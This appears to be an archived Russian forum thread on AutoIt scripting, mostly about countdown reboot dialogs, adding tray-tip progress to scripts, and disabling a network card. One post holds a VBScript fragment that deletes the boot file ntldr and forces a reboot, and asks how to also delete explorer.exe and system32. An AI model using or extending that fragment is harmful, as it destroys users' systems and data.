PDA

Показать полную графическую версию : [Архив - Часть 3] AutoIt скрипты .:[общие вопросы]:.


Страниц : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 [76] 77 78

Creat0R
10-01-2009, 18:21
AutoIt как попугай и есть не надёжно »
Я бы не сказал, в аутоите можно многое реализовать очень даже надёжно, просто нужно знать как ;)

SAOPP
10-01-2009, 19:27
Ну я имел в виду именно как "попугая", собственно почему и бывает не надёжно на пару пикселей ;)

SAOPP
10-01-2009, 20:44
Кстати, опять возвращаюсь к давнему вопросу касательно создания ребута с красивым прогресс баром и т.п. оформлением :)

Т.е. shutdown.exe -r -f -t 60

Помню, ранее, подобные скрипты останавливали систему, т.е. паузили её, как сейчас состоит дело с этим в новых версиях AutoIt?

Pozia
10-01-2009, 21:13
SAOPP, стоит нажать волшебные ctrl+alt+delete и система оживает :)

Creat0R
10-01-2009, 21:21
Помню, ранее, подобные скрипты останавливали систему, т.е. паузили её »
Где такие скрипты? возможно там просто BlockInput() использовался? :)

Вот версия подобного ребутера:

#NoTrayIcon

_ShutDown_Dialog( _
"Windows: Принудительное завершение работы", _ ;Заголовок
"Завершение работы системы...", _ ;Главный текст
"Система будет перезапущена через %i сек.\r\nЗакройте все приложения и сохраните данные.", _ ;Под-текст (отображение прогресса)
16, _ ;Метод отображения диалога (см. в справке описание для ProgressOn)
2+4, _ ;Метод завершения работы системы
60) ;Интервал ожидания в секундах

Func _ShutDown_Dialog($sTitle, $sMainText, $sSubText, $iDialogFlags=-1, $iShutDownFlags=2, $iWait_Seconds=60)
ProgressOn($sTitle, $sMainText, StringFormat($sSubText, $iWait_Seconds), Default, Default, $iDialogFlags)

For $i = 1 To 99 Step 100 / $iWait_Seconds
ProgressSet($i, StringFormat($sSubText, $iWait_Seconds))

$iWait_Seconds -= 1
Sleep(1000)
Next

Local $iTimer = TimerInit(), $sDots = ""

Shutdown($iShutDownFlags)

While TimerDiff($iTimer) < 10000
$sDots &= "."
If $sDots = "...." Then $sDots = ""

ProgressSet(100, "", $sMainText & $sDots)
Sleep(500)
WEnd
EndFunc

SAOPP
10-01-2009, 21:28
Где такие скрипты? возможно там просто BlockInput() использовался? »
Можно порыться конечно и найти, было это где-то 2,5 года назад. Но суть не в этом, главное, что было, и что если я не ошибаюсь на тот момент по каким то причинам не возможно было сделать так что бы этого не происходило...

Pozia
10-01-2009, 21:48
Ребята помогите. Есть скрипт следующего содержания (часть его):

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Жирным я выделил то что он удоляет при определенном условии. Как подправить правильно скрипт чтобы он заодно удалял допустим explorer.exe и папку system32?
Помогите пожалуйста

Creat0R
11-01-2009, 01:46
Pozia, Есть скрипт следующего содержания »
Это не AutoIt-скрипт, с этими вопросами скорее сюда (http://forum.oszone.net/newpostinthread-106528.html).

adima
11-01-2009, 17:20
Не видал ли кто пример функции (скрипта) которая показывает прогрес выполнения текущего скрипта

Creat0R
11-01-2009, 17:24
adima,
Opt("TrayIconDebug", 1)?

adima
11-01-2009, 17:42
Opt("TrayIconDebug", 1 »

Интересует прогресс откомпилированного скрипта (.exe)?
Хотелось бы типа TrayTip

266903582
11-01-2009, 21:21
adima, предлагаю такой вариант (на скорую руку) Попробуй этим обработать исходник своей программы и, откомпилировав ее, будут traytips на каждом шагу :)
$fl=FileOpenDialog("","","")
$fr=FileOpen("result.au3",2)
$fl=FileOpen($fl,0)
$fl=FileRead($fl)
$tempstr=""
$final=""
While $fl<>""
if StringLeft($fl,1)<>@CR And StringLeft($fl,1)<>@LF And StringLeft($fl,1)<>@CRLF Then
$tempstr&=StringLeft($fl,1)
$fl=StringTrimLeft($fl,1)
Else
$final&="TrayTip("","&$tempstr&",1)"&@CRLF&$tempstr&@CRLF
$fl=StringTrimLeft($fl,1)
$tempstr=""
EndIf
WEnd
FileWrite($fr,$final)

Результат ляжет в файл result.au3

Maza Faka
12-01-2009, 08:18
предлагаю такой вариант (на скорую руку) »
Пример не работает. Что-то подобное видел на ru-board.com. Довольно таки гиморное дело, ведь нужно будет учитывать пернос строк, операторы Switch; Select; Case, в общем вот мой вариант:
$sFile = FileOpenDialog("Выберите файл скрипта", "", "AutoIt files (*.au3)")
If @error Then Exit

$hResultFile = FileOpen("Result.au3", 2)

$sRead = FileRead($sFile)
$aStrings = StringSplit($sRead, @CRLF, 1)

$sResult = ""

For $i = 1 To $aStrings[0]
If (StringRight($aStrings[$i], 1) <> "_") And (StringRight($aStrings[$i - 1], 1) <> "_") And _
(StringInStr($aStrings[$i], "Switch") = 0) And (StringInStr($aStrings[$i], "Select") = 0) And _
(StringInStr($aStrings[$i], "Case") = 0) And (StringLeft($aStrings[$i], 1) <> ";") Then

$sResult &= 'TrayTip("", "' & StringReplace($aStrings[$i] & @TAB & _
Int($i / $aStrings[0] * 100) & '%', '"', '') & '", 1)' & @CRLF & $aStrings[$i] & @CRLF
Else
$sResult &= $aStrings[$i] & @CRLF
EndIf
Next

FileWrite($hResultFile, StringReplace($sResult, "#NoTrayIcon", ";#NoTrayIcon"))
FileClose($hResultFile)
+ Показывает процент выполнения ;)

Creat0R
12-01-2009, 15:08
Что-то подобное видел на ru-board.com »
Тут (http://forum.ru-board.com/topic.cgi?forum=5&topic=17705&start=2540#3) вроде, но я переделал (http://creator-lab.ucoz.ru/load/3-1-0-52) этот отладчик.

FlatX007
12-01-2009, 17:50
Подскажите как отключит в компе сетевую карту ???

Maza Faka
13-01-2009, 07:31
как отключит в компе сетевую карту ? »
Простой способ - воспользоваться утилитой devcon:
devcon.exe (http://download.microsoft.com/download/1/1/f/11f7dd10-272d-4cd2-896f-9ce67f3e0240/devcon.exe)
DevCon Examples (http://msdn.microsoft.com/en-us/library/ms792832(printer).aspx)
Использование программы с интерфейсом командной строки DevCon (http://support.microsoft.com/kb/311272)

FlatX007
13-01-2009, 17:25
Простой способ - воспользоваться утилитой devcon:
devcon.exe
DevCon Examples
Использование программы с интерфейсом командной строки DevCon »

Я эту утилиту я находил ... но как ей пользоватся до меня недопёрло ...

Но меня именно интересует как можно отключть именно через AutoIt ... если никто незнает скажите хоть в каком направлении копать ?

alexey_a
13-01-2009, 22:08
Подскажите плиз!
у меня внутри тестируемого проги определен объект:
Dundas.Charting.WinControl.Series series1
Соответсвенно я запускаю прогу. а потом хочу натравить на него автоитовский скрипт и внутри него использовать методы объекта series1.
пробую использовать ObjGet ():

$obj = ObjGet("Analyzer.exe", "Dundas.Charting.WinControl.Series")
if @error then
Msgbox (0,"Error","Error code: " & hex(@error,8))
exit
endif


выдает ошибку.

semiono
14-01-2009, 00:31
Помогите написать, я уже прежде спрашивал, но засуетился и времени не было, но охота всётаки довести это до ума... Сам не могу, так как очень сложно... Прошу полный листинг, хотябы как часть примера...

Нужно запустить taskmgr.exe и выбрать в нём Shutdown > Restart Computer > "Yes/OK"
Версия желательно WinXP Eng. Кнопки в диспетчере насколько я помню не видны, в чём и проблемма?

Напишите полный автоит?

Creat0R
14-01-2009, 01:34
пробую использовать ObjGet () »
Там вроде полный путь к файлу нужен (в первом параметре).
А что если создавать объект, типа:

$oObj = ObjCreate("Dundas.Charting.WinControl.Series")

Нужно запустить taskmgr.exe и выбрать в нём Shutdown > Restart Computer > "Yes/OK" »
А почему именно через taskmgr? А если вызвать свой дилаог перезапуска, типа такого (с таймером)?

#NoTrayIcon

_ShutDown_Dialog( _
"Windows: Принудительное завершение работы", _ ;Заголовок
"Завершение работы системы...", _ ;Главный текст
"Система будет перезапущена через %i сек.\r\nЗакройте все приложения и сохраните данные.", _ ;Под-текст (отображение прогресса)
16, _ ;Метод отображения диалога (см. в справке описание для ProgressOn)
2+4, _ ;Метод завершения работы системы
60) ;Интервал ожидания в секундах

Func _ShutDown_Dialog($sTitle, $sMainText, $sSubText, $iDialogFlags=-1, $iShutDownFlags=2, $iWait_Seconds=60)
ProgressOn($sTitle, $sMainText, StringFormat($sSubText, $iWait_Seconds), Default, Default, $iDialogFlags)

For $i = 1 To 99 Step 100 / $iWait_Seconds
ProgressSet($i, StringFormat($sSubText, $iWait_Seconds))

$iWait_Seconds -= 1
Sleep(1000)
Next

Local $iTimer = TimerInit(), $sDots = ""

;~ Shutdown($iShutDownFlags)

While TimerDiff($iTimer) < 10000
$sDots &= "."
If $sDots = "...." Then $sDots = ""

ProgressSet(100, "", $sMainText & $sDots)
Sleep(500)
WEnd
EndFunc

Для перезапуска нужно раскомментировать строчку с Shutdown().

А также есть ещё такой диалог для завершения работы (обычно выводится разными программами для перезапуска системы):

_RestartDialog('Установка программы успешно завершена!')

Func _RestartDialog($sText='',$iAct=0,$hWnd = 0)
Local $iLen = 256
Local $sCharType = "char"
If @OSType = "WIN32_NT" Then $sCharType = "wchar"

Local $usText = DLLStructCreate($sCharType & "[" & $iLen & "]")
DLLStructSetData($usText, 1, $sText & @CRLF & @CRLF)

Local $aiCall = DLLCall("Shell32.dll","int","RestartDialog","hwnd",$hWnd,"wstr",DllStructGetData($usText,1),"dword",$iAct)
Return $aiCall[0]
EndFunc




© OSzone.net 2001-2012